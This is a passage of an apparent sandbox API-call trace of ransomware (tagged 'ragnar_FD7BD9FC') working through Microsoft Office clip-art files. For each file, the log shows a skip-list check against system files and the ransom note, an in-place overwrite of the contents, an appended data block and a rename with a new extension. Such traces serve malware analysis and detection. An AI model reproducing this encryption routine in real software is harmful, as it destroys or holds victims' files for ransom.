lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.183] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0168644.WMF", cAlternateFileName="")) returned 1 [0085.183] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.183] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0168644.WMF" | out: lpString1="J0168644.WMF") returned="J0168644.WMF" [0085.183] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned=".WMF" [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="autorun.inf") returned 1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="boot.ini") returned 1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="bootfont.bin") returned 1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="bootsect.bak") returned 1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="bootmgr") returned 1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="bootmgr.efi") returned 1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="bootmgfw.efi") returned 1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="desktop.ini") returned 1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="iconcache.db") returned 1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="ntldr") returned -1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="ntuser.dat") returned -1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="ntuser.dat.log") returned -1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="ntuser.ini") returned -1 [0085.183] lstrcmpiW (lpString1="J0168644.WMF", lpString2="thumbs.db") returned -1 [0085.183] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.183] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.183] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.183] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.183] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.184] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.184] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf")) returned 0x20 [0085.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.184] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20906) returned 1 [0085.184] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x51a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.184] GetProcessHeap () returned 0x580000 [0085.184] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.184] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.186] VirtualAlloc (lpAddress=0x0, dwSize=0x51aa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.186] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.186] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.186] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x51aa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x51aa, lpOverlapped=0x0) returned 1 [0085.187] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.188] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x51aa, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.188] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x51aa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x51aa, lpOverlapped=0x0) returned 1 [0085.188] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x51aa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.188] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.188] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x51aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.188] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.188] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.188] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.188] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.188] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.188] GetProcessHeap () returned 0x580000 [0085.188] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.189] CloseHandle (hObject=0xf4) returned 1 [0085.189] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" [0085.189] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.ragnar_FD7BD9FC" [0085.189] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.189] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3888, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0171685.WMF", cAlternateFileName="")) returned 1 [0085.189] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.189] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0171685.WMF" | out: lpString1="J0171685.WMF") returned="J0171685.WMF" [0085.189] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned=".WMF" [0085.189] lstrcmpiW (lpString1="J0171685.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.189] lstrcmpiW (lpString1="J0171685.WMF", lpString2="autorun.inf") returned 1 [0085.189] lstrcmpiW (lpString1="J0171685.WMF", lpString2="boot.ini") returned 1 [0085.190] lstrcmpiW (lpString1="J0171685.WMF", lpString2="bootfont.bin") returned 1 [0085.190] lstrcmpiW (lpString1="J0171685.WMF", lpString2="bootsect.bak") returned 1 [0085.190] lstrcmpiW (lpString1="J0171685.WMF", lpString2="bootmgr") returned 1 [0085.190] lstrcmpiW (lpString1="J0171685.WMF", lpString2="bootmgr.efi") returned 1 [0085.190] lstrcmpiW (lpString1="J0171685.WMF", lpString2="bootmgfw.efi") returned 1 [0085.190] lstrcmpiW (lpString1="J0171685.WMF", lpString2="desktop.ini") returned 1 [0085.190] lstrcmpiW (lpString1="J0171685.WMF", lpString2="iconcache.db") returned 1 [0085.190] lstrcmpiW (lpString1="J0171685.WMF", lpString2="ntldr") returned -1 [0085.190] lstrcmpiW (lpString1="J0171685.WMF", lpString2="ntuser.dat") returned -1 [0085.190] lstrcmpiW (lpString1="J0171685.WMF", lpString2="ntuser.dat.log") returned -1 [0085.190] lstrcmpiW (lpString1="J0171685.WMF", lpString2="ntuser.ini") returned -1 [0085.190] lstrcmpiW (lpString1="J0171685.WMF", lpString2="thumbs.db") returned -1 [0085.190] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.190] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.190] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.190] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.190] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.190] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.190] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf")) returned 0x20 [0085.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.190] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14472) returned 1 [0085.190] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x387f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.191] GetProcessHeap () returned 0x580000 [0085.191] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.191] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.192] VirtualAlloc (lpAddress=0x0, dwSize=0x3888, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.192] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.192] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.192] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3888, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3888, lpOverlapped=0x0) returned 1 [0085.193] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.193] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3888, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.194] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3888, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3888, lpOverlapped=0x0) returned 1 [0085.194] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3888, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.194] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.194] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3888, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.194] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.194] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.194] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.194] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.194] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.194] GetProcessHeap () returned 0x580000 [0085.194] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.194] CloseHandle (hObject=0xf4) returned 1 [0085.194] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" [0085.195] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.ragnar_FD7BD9FC" [0085.195] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.195] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0171847.WMF", cAlternateFileName="")) returned 1 [0085.195] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.195] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0171847.WMF" | out: lpString1="J0171847.WMF") returned="J0171847.WMF" [0085.195] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned=".WMF" [0085.195] lstrcmpiW (lpString1="J0171847.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.195] lstrcmpiW (lpString1="J0171847.WMF", lpString2="autorun.inf") returned 1 [0085.195] lstrcmpiW (lpString1="J0171847.WMF", lpString2="boot.ini") returned 1 [0085.195] lstrcmpiW (lpString1="J0171847.WMF", lpString2="bootfont.bin") returned 1 [0085.195] lstrcmpiW (lpString1="J0171847.WMF", lpString2="bootsect.bak") returned 1 [0085.196] lstrcmpiW (lpString1="J0171847.WMF", lpString2="bootmgr") returned 1 [0085.196] lstrcmpiW (lpString1="J0171847.WMF", lpString2="bootmgr.efi") returned 1 [0085.196] lstrcmpiW (lpString1="J0171847.WMF", lpString2="bootmgfw.efi") returned 1 [0085.196] lstrcmpiW (lpString1="J0171847.WMF", lpString2="desktop.ini") returned 1 [0085.196] lstrcmpiW (lpString1="J0171847.WMF", lpString2="iconcache.db") returned 1 [0085.196] lstrcmpiW (lpString1="J0171847.WMF", lpString2="ntldr") returned -1 [0085.196] lstrcmpiW (lpString1="J0171847.WMF", lpString2="ntuser.dat") returned -1 [0085.196] lstrcmpiW (lpString1="J0171847.WMF", lpString2="ntuser.dat.log") returned -1 [0085.196] lstrcmpiW (lpString1="J0171847.WMF", lpString2="ntuser.ini") returned -1 [0085.196] lstrcmpiW (lpString1="J0171847.WMF", lpString2="thumbs.db") returned -1 [0085.196] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.196] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.196] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.196] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.196] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.196] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.196] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf")) returned 0x20 [0085.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.196] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6888) returned 1 [0085.196] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1adf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.196] GetProcessHeap () returned 0x580000 [0085.197] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.197] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.198] VirtualAlloc (lpAddress=0x0, dwSize=0x1ae8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.198] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.198] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.198] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ae8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ae8, lpOverlapped=0x0) returned 1 [0085.199] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.199] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ae8, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.199] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ae8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ae8, lpOverlapped=0x0) returned 1 [0085.199] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ae8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.199] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.200] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ae8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.200] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.200] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.200] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.200] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.200] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.200] GetProcessHeap () returned 0x580000 [0085.200] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.200] CloseHandle (hObject=0xf4) returned 1 [0085.200] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" [0085.200] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.ragnar_FD7BD9FC" [0085.200] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.201] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0172035.WMF", cAlternateFileName="")) returned 1 [0085.201] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: 